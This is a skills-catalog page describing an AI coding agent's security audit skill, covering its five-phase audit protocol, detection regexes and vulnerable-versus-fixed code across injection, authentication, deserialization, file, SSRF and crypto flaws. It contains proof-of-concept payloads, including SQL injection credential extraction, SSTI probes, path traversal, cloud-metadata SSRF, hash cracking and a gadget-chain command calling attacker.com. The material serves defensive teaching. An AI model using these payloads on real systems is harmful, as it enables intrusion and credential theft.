eastsword-dfyx-code-security-review
Expert-level code security audit skill using deep data flow analysis, taint tracking, and business logic understanding across 9 languages
How do I install this agent skill?
npx skills add https://github.com/reason-machines/security-skills --skill eastsword-dfyx-code-security-reviewIs this agent skill safe to install?
- Gen Agent Trust Hubfail
The skill downloads and executes scripts and dependencies from an untrusted external repository. It also processes untrusted source code, which makes it susceptible to indirect prompt injection attacks. A discrepancy in author metadata was also identified.
- Socketpass
No alerts
- Snykpass
Risk: LOW · No issues
What does this agent skill do?
EastSword DFYX Code Security Review
Skill by ara.so — Security Skills collection.
Expert-level code security audit skill developed by the EastSword (东方隐侠) team. Performs comprehensive white-box static analysis using a five-phase standardized audit protocol with deep data flow analysis, taint tracking, and business logic understanding.
Overview
dfyx_code_security_review is a professional code security audit skill designed for AI coding agents. It employs white-box static analysis methodology through a five-phase standardized protocol to systematically discover and validate security vulnerabilities in source code.
Core Capabilities
- 9 Languages: Java, Python, Go, PHP, JavaScript/Node.js, C/C++, .NET/C#, Ruby, Rust
- 14 Frameworks: Spring Boot, Django, Flask, FastAPI, Express, Koa, Gin, Laravel, Rails, ASP.NET Core, Rust Web, NestJS, Fastify, MyBatis
- 10 Security Dimensions: Injection, Authentication, Authorization, Deserialization, File Operations, SSRF, Cryptography, Configuration, Business Logic, Supply Chain
- Triple-Track Audit Model: Sink-driven + Control-driven + Config-driven
- Five-Phase Protocol: Reconnaissance → Pattern Matching → Taint Tracking → Validation → Reporting
- Rich Case Library: Based on real-world WooYun vulnerability cases (2010-2016)
Installation
Clone or copy this skill to your AI client's skills directory:
# For Claude Code
git clone https://github.com/EastSword/skill-dfyx_code_security_review.git ~/.claude/skills/eastsword-dfyx-code-security-review
# For Cursor
git clone https://github.com/EastSword/skill-dfyx_code_security_review.git ~/Library/Application\ Support/Cursor/skills/eastsword-dfyx-code-security-review
# Install Python dependencies (optional, for helper scripts)
cd ~/.claude/skills/eastsword-dfyx-code-security-review
pip install -r requirements.txt
Five-Phase Audit Protocol
Phase 1: Reconnaissance & Mapping (10%)
Objective: Understand architecture and identify attack surface.
# Example: Architecture Analysis Output
[RECON] Technology Stack: Spring Boot 2.7.3 + MyBatis 3.5.10 + Shiro 1.9.0
[RECON] Attack Surface:
- REST API: 47 endpoints (28 authenticated, 19 public)
- File Upload: 3 endpoints (/api/upload, /admin/import, /user/avatar)
- Template Engine: Thymeleaf (potential SSTI)
- Database: MySQL 8.0.30 (84 SQL queries identified)
[RECON] Security Controls:
- Authentication: Shiro + JWT
- Authorization: @RequiresPermissions annotations (coverage: 67%)
- Input Validation: @Validated + Hibernate Validator (coverage: 45%)
Key Activities:
- Identify entry points (REST endpoints, file uploads, external integrations)
- Map data flows from sources to sinks
- Enumerate security controls and their coverage
- Build architectural diagram with trust boundaries
Phase 2: Parallel Pattern Matching (30%)
Objective: Identify high-risk code patterns across all dimensions.
# Example: Pattern Scanner Usage
from scripts.pattern_scanner import PatternScanner
scanner = PatternScanner(language='java')
results = scanner.scan('/path/to/project', dimensions=['D1', 'D2', 'D3', 'D4', 'D5'])
# Output Example
[PATTERN] SQL Injection Candidates: 12 locations
- UserService.java:145 - String concatenation in SQL query
- OrderDao.xml:78 - Dynamic SQL with ${} placeholder
[PATTERN] Command Injection Candidates: 3 locations
- FileProcessor.java:234 - Runtime.exec() with user input
[PATTERN] Authentication Bypass Candidates: 5 locations
- AdminController.java:89 - Missing @RequiresAuthentication
- ReportController.java:156 - Direct database authentication check
Detection Rules:
# SQL Injection (Java)
- pattern: executeQuery\s*\(\s*[\w\s]+\s*\+
severity: CRITICAL
description: String concatenation in SQL query
- pattern: \$\{[\w\.]+\}
file_types: [.xml]
severity: CRITICAL
description: MyBatis unsafe placeholder
# Command Injection (Python)
- pattern: os\.system\(.*input.*\)
severity: CRITICAL
description: User input in os.system()
- pattern: subprocess\.(call|run|Popen)\(.*request\.
severity: CRITICAL
description: User input in subprocess execution
Phase 3: Deep Taint Tracking & Validation (40%)
Objective: Trace data flows from sources to sinks and validate exploitability.
# Example: Taint Analysis
from scripts.data_flow_analyzer import TaintAnalyzer
analyzer = TaintAnalyzer()
result = analyzer.trace_flow(
source='HttpServletRequest.getParameter("id")',
sink='executeQuery(sql)',
project_path='/path/to/project'
)
# Output Example
[TAINT] Flow Found: REQUEST → SQL_QUERY
Source: UserController.java:45
→ String userId = request.getParameter("userId");
Flow Path:
1. UserController.java:45 → userId (TAINTED)
2. UserController.java:47 → userService.getUserById(userId) (TAINTED)
3. UserService.java:89 → buildQuery(userId) (TAINTED)
4. UserService.java:102 → "SELECT * FROM users WHERE id=" + userId (TAINTED)
5. UserService.java:103 → statement.executeQuery(sql) (SINK - NO SANITIZATION)
Sanitization: NONE
Validation: NONE
Exploitable: YES
POC:
GET /api/user?userId=1' UNION SELECT password FROM admin_users--
Taint Analysis Features:
- Source Identification: HTTP parameters, file reads, environment variables, database queries
- Sanitization Detection: Input validation, encoding, parameterized queries, allowlist filtering
- Sink Detection: SQL execution, command execution, file operations, template rendering, JNDI lookup
- Context-Aware Analysis: Different rules for different contexts (SQL, OS command, XSS, etc.)
# Example: Multi-Stage Taint Flow
[TAINT] Complex Flow: REQUEST → SESSION → DATABASE → TEMPLATE
Stage 1: User input stored in session
UserController.java:67 → session.setAttribute("theme", themeParam)
Stage 2: Session value retrieved in different request
ThemeController.java:34 → String theme = session.getAttribute("theme")
Stage 3: Theme value used in database query
ThemeService.java:89 → "SELECT * FROM themes WHERE name='" + theme + "'"
Stage 4: Query result rendered in template
theme.html:12 → <div th:text="${themeName}"></div> (XSS via SQLi)
Attack Chain: Stored XSS via SQL Injection
Exploitable: YES
Phase 4: Validation & Attack Chain Construction (15%)
Objective: Validate vulnerabilities and construct multi-stage attack chains.
# Example: Vulnerability Validation
[VALIDATION] SQL Injection in UserService.getUserById()
Test 1: Syntax Error Injection
Input: userId=1'
Expected: SQL syntax error
Result: ✓ "You have an error in your SQL syntax"
Test 2: Boolean-based Blind SQLi
Input: userId=1 AND 1=1
Response Time: 0.123s
Input: userId=1 AND 1=2
Response Time: 0.125s
Result: ✓ Different responses confirm vulnerability
Test 3: Union-based SQLi
Input: userId=1 UNION SELECT 1,2,3,4,5--
Result: ✓ Column count: 5
Test 4: Data Extraction
Input: userId=1 UNION SELECT null,username,password,null,null FROM admin_users--
Result: ✓ Admin credentials leaked
[ATTACK_CHAIN] Privilege Escalation via SQL Injection
Step 1: Exploit SQLi to extract admin password hash
→ /api/user?userId=1 UNION SELECT password FROM admin_users WHERE role='ADMIN'--
Step 2: Crack password hash (MD5 without salt)
→ hashcat -m 0 -a 0 hash.txt rockyou.txt
Step 3: Login as admin
→ POST /api/login {"username":"admin","password":"cracked_password"}
Step 4: Access admin panel
→ GET /admin/dashboard
Impact: Complete system compromise
Likelihood: HIGH (weak password hashing + no rate limiting)
Attack Chain Patterns:
# Privilege Escalation Chain
chain_type: privilege_escalation
vulnerabilities:
- SQL Injection → Password Hash Extraction
- Weak Cryptography → Hash Cracking
- Missing Rate Limiting → Brute Force
- Insufficient Authorization → Admin Access
# Data Exfiltration Chain
chain_type: data_exfiltration
vulnerabilities:
- Path Traversal → Configuration File Read
- Hardcoded Credentials → Database Access
- Missing Network Segmentation → Internal Network Access
- SSRF → Cloud Metadata API Access
Phase 5: Structured Reporting (5%)
Objective: Generate comprehensive, actionable security audit report.
# Example: Report Generation
from scripts.report_generator import ReportGenerator
report = ReportGenerator()
report.add_vulnerability({
'id': 'VUL-001',
'title': 'SQL Injection in User Query',
'severity': 'CRITICAL',
'cvss': 9.8,
'dimension': 'D1-Injection',
'location': 'UserService.java:102',
'description': 'String concatenation in SQL query allows SQL injection',
'exploitation': 'Confirmed via manual testing',
'impact': 'Complete database compromise, authentication bypass',
'poc': 'GET /api/user?userId=1\' UNION SELECT password FROM admin_users--',
'remediation': [
'Use PreparedStatement with parameterized queries',
'Implement input validation with allowlist',
'Apply least privilege principle to database user'
],
'code_vulnerable': '''
String sql = "SELECT * FROM users WHERE id=" + userId;
statement.executeQuery(sql);
''',
'code_fixed': '''
String sql = "SELECT * FROM users WHERE id=?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, userId);
stmt.executeQuery();
'''
})
report.generate('audit_report.md', format='markdown')
10 Security Dimensions
D1: Injection Vulnerabilities
Coverage: SQL, Command, LDAP, SSTI, SpEL, JNDI, XSS, XXE
# SQL Injection Detection
patterns = {
'java': [
r'executeQuery\s*\(\s*[\w\s]+\s*\+', # String concatenation
r'createQuery\s*\(\s*".*"\s*\+', # JPA concatenation
r'\$\{[\w\.]+\}' # MyBatis unsafe placeholder
],
'python': [
r'execute\s*\(\s*["\'].*%.*["\']', # String formatting
r'execute\s*\(\s*f["\'].*\{.*\}', # f-string in SQL
r'raw\s*\(\s*["\'].*["\'].*\+' # Django raw query concat
],
'php': [
r'mysql_query\s*\(\s*\$', # mysql_query with variable
r'->query\s*\(\s*\$', # PDO query with variable
r'DB::select\s*\(\s*["\'].*\.', # Laravel string concat
]
}
# Command Injection Detection
patterns = {
'java': [
r'Runtime\.getRuntime\(\)\.exec\(',
r'ProcessBuilder\s*\(\s*.*request',
r'new\s+Process\w*\s*\(',
],
'python': [
r'os\.system\s*\(',
r'subprocess\.(call|run|Popen)\(',
r'eval\s*\(',
r'exec\s*\(',
],
'php': [
r'exec\s*\(',
r'shell_exec\s*\(',
r'system\s*\(',
r'passthru\s*\(',
r'popen\s*\(',
r'proc_open\s*\(',
]
}
Example: SSTI Detection (Python)
# Vulnerable Code (Flask)
from flask import Flask, request, render_template_string
@app.route('/hello')
def hello():
name = request.args.get('name', 'Guest')
template = '<h1>Hello ' + name + '!</h1>'
return render_template_string(template) # SSTI vulnerability
# Exploitation POC
# GET /hello?name={{config.items()}}
# GET /hello?name={{''.__class__.__mro__[1].__subclasses__()}}
# Fixed Code
from flask import Flask, request, render_template
from markupsafe import escape
@app.route('/hello')
def hello():
name = escape(request.args.get('name', 'Guest'))
return render_template('hello.html', name=name)
D2: Authentication Vulnerabilities
Coverage: Token management, Session handling, JWT flaws, Filter chain bypass
// Vulnerable: Hardcoded Credentials
public class DatabaseConfig {
private static final String DB_USER = "admin";
private static final String DB_PASS = "P@ssw0rd123"; // CRITICAL
public Connection getConnection() {
return DriverManager.getConnection(
"jdbc:mysql://localhost:3306/db",
DB_USER, DB_PASS
);
}
}
// Fixed: Environment Variables
public class DatabaseConfig {
private final String dbUser = System.getenv("DB_USER");
private final String dbPass = System.getenv("DB_PASSWORD");
public Connection getConnection() {
if (dbUser == null || dbPass == null) {
throw new IllegalStateException("Database credentials not configured");
}
return DriverManager.getConnection(
System.getenv("DB_URL"),
dbUser, dbPass
);
}
}
JWT Vulnerability Detection:
# Vulnerable: JWT without signature verification
import jwt
def verify_token(token):
# CRITICAL: verify=False bypasses signature verification
payload = jwt.decode(token, options={"verify_signature": False})
return payload['user_id']
# Exploitation: Attacker can forge tokens
# token = jwt.encode({'user_id': 1, 'role': 'admin'}, key='anything', algorithm='HS256')
# Fixed: Proper JWT verification
import jwt
from jwt.exceptions import InvalidTokenError
def verify_token(token):
try:
secret_key = os.getenv('JWT_SECRET_KEY')
payload = jwt.decode(
token,
secret_key,
algorithms=['HS256'],
options={"verify_signature": True}
)
return payload['user_id']
except InvalidTokenError:
raise AuthenticationError("Invalid token")
D3: Authorization Vulnerabilities
Coverage: IDOR, Horizontal privilege escalation, Missing function-level access control, CRUD consistency
// Vulnerable: IDOR (Insecure Direct Object Reference)
@GetMapping("/api/orders/{orderId}")
public Order getOrder(@PathVariable Long orderId) {
// No authorization check - any user can access any order
return orderService.findById(orderId); // CRITICAL
}
// Exploitation POC
// User A (ID=100) can access User B's order:
// GET /api/orders/999 (order belongs to User B)
// Fixed: Authorization Check
@GetMapping("/api/orders/{orderId}")
public Order getOrder(@PathVariable Long orderId,
@AuthenticationPrincipal User currentUser) {
Order order = orderService.findById(orderId);
// Verify order belongs to current user
if (!order.getUserId().equals(currentUser.getId())
&& !currentUser.hasRole("ADMIN")) {
throw new AccessDeniedException("Cannot access this order");
}
return order;
}
CRUD Consistency Check:
# Detection: Find inconsistent authorization
[AUTHORIZATION] CRUD Consistency Analysis: /api/users endpoint
CREATE (POST /api/users):
✓ @RequiresPermissions("user:create")
READ (GET /api/users/{id}):
✗ No authorization annotation
✗ No ownership check in code
UPDATE (PUT /api/users/{id}):
✓ @RequiresPermissions("user:update")
✗ No ownership check in code
DELETE (DELETE /api/users/{id}):
✓ @RequiresPermissions("user:delete")
✓ Ownership check: if (user.getId() != currentUser.getId())
Issue: READ and UPDATE lack ownership verification
Impact: Horizontal privilege escalation
Severity: HIGH
D4: Deserialization Vulnerabilities
Coverage: Java Gadget chains, Python pickle, PHP unserialize
// Vulnerable: Unsafe Java Deserialization
@PostMapping("/api/import")
public void importData(@RequestBody byte[] data) {
try {
ObjectInputStream ois = new ObjectInputStream(
new ByteArrayInputStream(data)
);
Object obj = ois.readObject(); // CRITICAL: Gadget chain execution
processData(obj);
} catch (Exception e) {
log.error("Import failed", e);
}
}
// Exploitation: ysoserial gadget chain
// java -jar ysoserial.jar CommonsCollections6 "curl attacker.com/pwned" | base64
// Fixed: Use safe serialization format
@PostMapping("/api/import")
public void importData(@RequestBody String jsonData) {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL); // Still unsafe!
// Better: Use explicit DTO classes
ImportRequest request = mapper.readValue(jsonData, ImportRequest.class);
processData(request);
}
// Best: Whitelist deserialization
public class SafeObjectInputStream extends ObjectInputStream {
private static final Set<String> ALLOWED_CLASSES = Set.of(
"com.example.dto.ImportRequest",
"java.lang.String",
"java.util.ArrayList"
);
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
if (!ALLOWED_CLASSES.contains(desc.getName())) {
throw new InvalidClassException(
"Unauthorized deserialization attempt: " + desc.getName()
);
}
return super.resolveClass(desc);
}
}
D5: File Operation Vulnerabilities
Coverage: Upload bypass, Path traversal, XXE, Zip slip
# Vulnerable: Path Traversal
from flask import Flask, request, send_file
import os
@app.route('/download')
def download():
filename = request.args.get('file')
filepath = os.path.join('/var/www/uploads', filename) # CRITICAL
return send_file(filepath)
# Exploitation POC
# GET /download?file=../../../../etc/passwd
# Fixed: Path Traversal Prevention
from flask import Flask, request, send_file, abort
import os
from pathlib import Path
@app.route('/download')
def download():
filename = request.args.get('file')
# Method 1: Resolve absolute path and validate
base_dir = Path('/var/www/uploads').resolve()
requested_path = (base_dir / filename).resolve()
if not str(requested_path).startswith(str(base_dir)):
abort(403, "Path traversal attempt detected")
if not requested_path.exists() or not requested_path.is_file():
abort(404)
return send_file(requested_path)
File Upload Security:
// Vulnerable: File Upload without validation
@PostMapping("/upload")
public String upload(@RequestParam("file") MultipartFile file) {
String filename = file.getOriginalFilename(); // CRITICAL
File dest = new File("/uploads/" + filename);
file.transferTo(dest);
return "Upload successful";
}
// Exploitation vectors:
// 1. Upload shell.php → RCE
// 2. Upload ../../../etc/passwd → Path traversal
// 3. Upload file.jsp → Web shell
// 4. Upload .htaccess → Configuration override
// Fixed: Comprehensive validation
@PostMapping("/upload")
public String upload(@RequestParam("file") MultipartFile file) {
// 1. Validate file size
if (file.getSize() > 10 * 1024 * 1024) { // 10MB limit
throw new FileTooLargeException();
}
// 2. Validate content type
String contentType = file.getContentType();
List<String> allowed = Arrays.asList("image/jpeg", "image/png", "application/pdf");
if (!allowed.contains(contentType)) {
throw new InvalidFileTypeException();
}
// 3. Validate file extension
String originalName = file.getOriginalFilename();
String extension = originalName.substring(originalName.lastIndexOf("."));
if (!Arrays.asList(".jpg", ".png", ".pdf").contains(extension.toLowerCase())) {
throw new InvalidFileTypeException();
}
// 4. Validate magic bytes
byte[] header = new byte[8];
file.getInputStream().read(header);
if (!isValidMagicBytes(header, contentType)) {
throw new InvalidFileTypeException();
}
// 5. Generate safe filename (prevent path traversal)
String safeFilename = UUID.randomUUID().toString() + extension;
Path uploadDir = Paths.get("/uploads").toAbsolutePath().normalize();
Path filePath = uploadDir.resolve(safeFilename);
// 6. Verify path is within upload directory
if (!filePath.startsWith(uploadDir)) {
throw new SecurityException("Path traversal attempt");
}
// 7. Save file with restricted permissions
file.transferTo(filePath.toFile());
Files.setPosixFilePermissions(filePath, PosixFilePermissions.fromString("rw-r-----"));
return "Upload successful: " + safeFilename;
}
D6: SSRF Vulnerabilities
Coverage: URL injection, Protocol restriction bypass, Cloud metadata access
# Vulnerable: SSRF via URL parameter
import requests
from flask import Flask, request
@app.route('/fetch')
def fetch():
url = request.args.get('url')
response = requests.get(url) # CRITICAL
return response.text
# Exploitation POC
# GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# GET /fetch?url=file:///etc/passwd
# GET /fetch?url=http://localhost:6379/ (Redis)
# Fixed: SSRF Prevention
import requests
from flask import Flask, request, abort
from urllib.parse import urlparse
import ipaddress
ALLOWED_SCHEMES = ['http', 'https']
BLOCKED_IPS = [
'127.0.0.0/8', # Loopback
'10.0.0.0/8', # Private
'172.16.0.0/12', # Private
'192.168.0.0/16', # Private
'169.254.0.0/16', # Link-local (AWS metadata)
'::1/128', # IPv6 loopback
'fc00::/7', # IPv6 private
]
def is_safe_url(url):
try:
parsed = urlparse(url)
# Validate scheme
if parsed.scheme not in ALLOWED_SCHEMES:
return False
# Resolve hostname to IP
import socket
ip_str = socket.gethostbyname(parsed.hostname)
ip = ipaddress.ip_address(ip_str)
# Check against blocked ranges
for blocked_range in BLOCKED_IPS:
if ip in ipaddress.ip_network(blocked_range):
return False
# Check port (block common internal services)
if parsed.port in [22, 23, 25, 3306, 5432, 6379, 9200, 27017]:
return False
return True
except Exception:
return False
@app.route('/fetch')
def fetch():
url = request.args.get('url')
if not url:
abort(400, "URL parameter required")
if not is_safe_url(url):
abort(403, "URL not allowed")
# Use timeout and size limits
try:
response = requests.get(
url,
timeout=5,
allow_redirects=False, # Prevent redirect-based bypass
stream=True
)
# Limit response size
content = b''
for chunk in response.iter_content(chunk_size=8192):
content += chunk
if len(content) > 1024 * 1024: # 1MB limit
abort(413, "Response too large")
return content.decode('utf-8')
except requests.exceptions.RequestException as e:
abort(502, f"Failed to fetch URL: {str(e)}")
D7: Cryptography Vulnerabilities
Coverage: Weak algorithms, Hard-coded keys, Improper key derivation, Insecure random
// Vulnerable: Weak Cryptography
public class CryptoUtils {
// CRITICAL: Hardcoded key
private static final String SECRET_KEY = "MySecretKey12345";
// CRITICAL: Weak algorithm (DES)
public static String encrypt(String data) throws Exception {
Cipher cipher = Cipher.getInstance("DES/ECB/PKCS5Padding");
SecretKeySpec key = new SecretKeySpec(
SECRET_KEY.getBytes(), "DES"
);
cipher.init(Cipher.ENCRYPT_MODE, key);
return Base64.getEncoder().encodeToString(
cipher.doFinal(data.getBytes())
);
}
}
// Issues:
// 1. DES is broken (56-bit key)
// 2. ECB mode reveals patterns
// 3. Hardcoded key
// 4. Key derivation from string (weak entropy)
// Fixed: Strong Cryptography
import javax.crypto.Cipher;
import javax.crypto.KeyGenerator;
import javax.crypto.SecretKey;
import javax.crypto.spec.GCMParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.security.SecureRandom;
import java.util.Base64;
public class SecureCryptoUtils {
private static final String ALGORITHM = "AES/GCM/NoPadding";
private static final int KEY_SIZE = 256;
private static final int IV_SIZE = 12;
private static final int TAG_SIZE = 128;
// Load key from environment or key management service
private static SecretKey getKey() {
String encodedKey = System.getenv("ENCRYPTION_KEY");
if (encodedKey == null) {
throw new IllegalStateException("ENCRYPTION_KEY not configured");
}
byte[] decodedKey = Base64.getDecoder().decode(encodedKey);
return new SecretKeySpec(decodedKey, "AES");
}
public static String encrypt(String plaintext) throws Exception {
SecretKey key = getKey();
// Generate random IV for each encryption
byte[] iv = new byte[IV_SIZE];
SecureRandom random = new SecureRandom();
random.nextBytes(iv);
Cipher cipher = Cipher.getInstance(ALGORITHM);
GCMParameterSpec spec = new GCMParameterSpec(TAG_SIZE, iv);
cipher.init(Cipher.ENCRYPT_MODE, key, spec);
byte[] ciphertext = cipher.doFinal(plaintext.getBytes("UTF-8"));
// Prepend IV to ciphertext
byte[] combined = new byte[iv.length + ciphertext.length];
System.arraycopy(iv, 0, combined, 0, iv.length);
System.arraycopy(ciphertext, 0, combined, iv.length, ciphertext.length);
return Base64.getEncoder().encodeToString(combined);
}
public static String decrypt(String encryptedData) throws Exception {
SecretKey key = getKey();
byte[] combined = Base64.getDecoder().decode(encryptedData);
// Extract IV and ciphertext
byte[] iv = new byte[IV_SIZE];
byte[] ciphertext = new byte[combined.length - IV_SIZE];
System.arraycopy(combined, 0, iv, 0, IV_SIZE);
System.arraycopy(combined, IV_SIZE, ciphertext, 0, ciphertext.length);
Cipher cipher = Cipher.getInstance(ALGORITHM);
GCMParameterSpec spec = new GCMParameterSpec(TAG_SIZE, iv);
cipher.init(Cipher.DECRYPT_MODE, key, spec);
byte[] plaintext = cipher.doFinal(ciphertext);
return new String(plaintext, "UTF-8");
}
// Generate and securely store encryption key
public static String generateKey() throws Exception {
KeyGenerator keyGen = KeyGenerator.getInstance("AES");
keyGen.init(KEY_SIZE, new SecureRandom());
Sec
How can the creator link this skill?
Add the canonical catalog link to the repository README so users can inspect current installs and available audits. The publishing guide covers the complete discovery path.
<a href="https://skillzs.dev/skills/reason-machines/security-skills/eastsword-dfyx-code-security-review">View eastsword-dfyx-code-security-review on skillZs</a>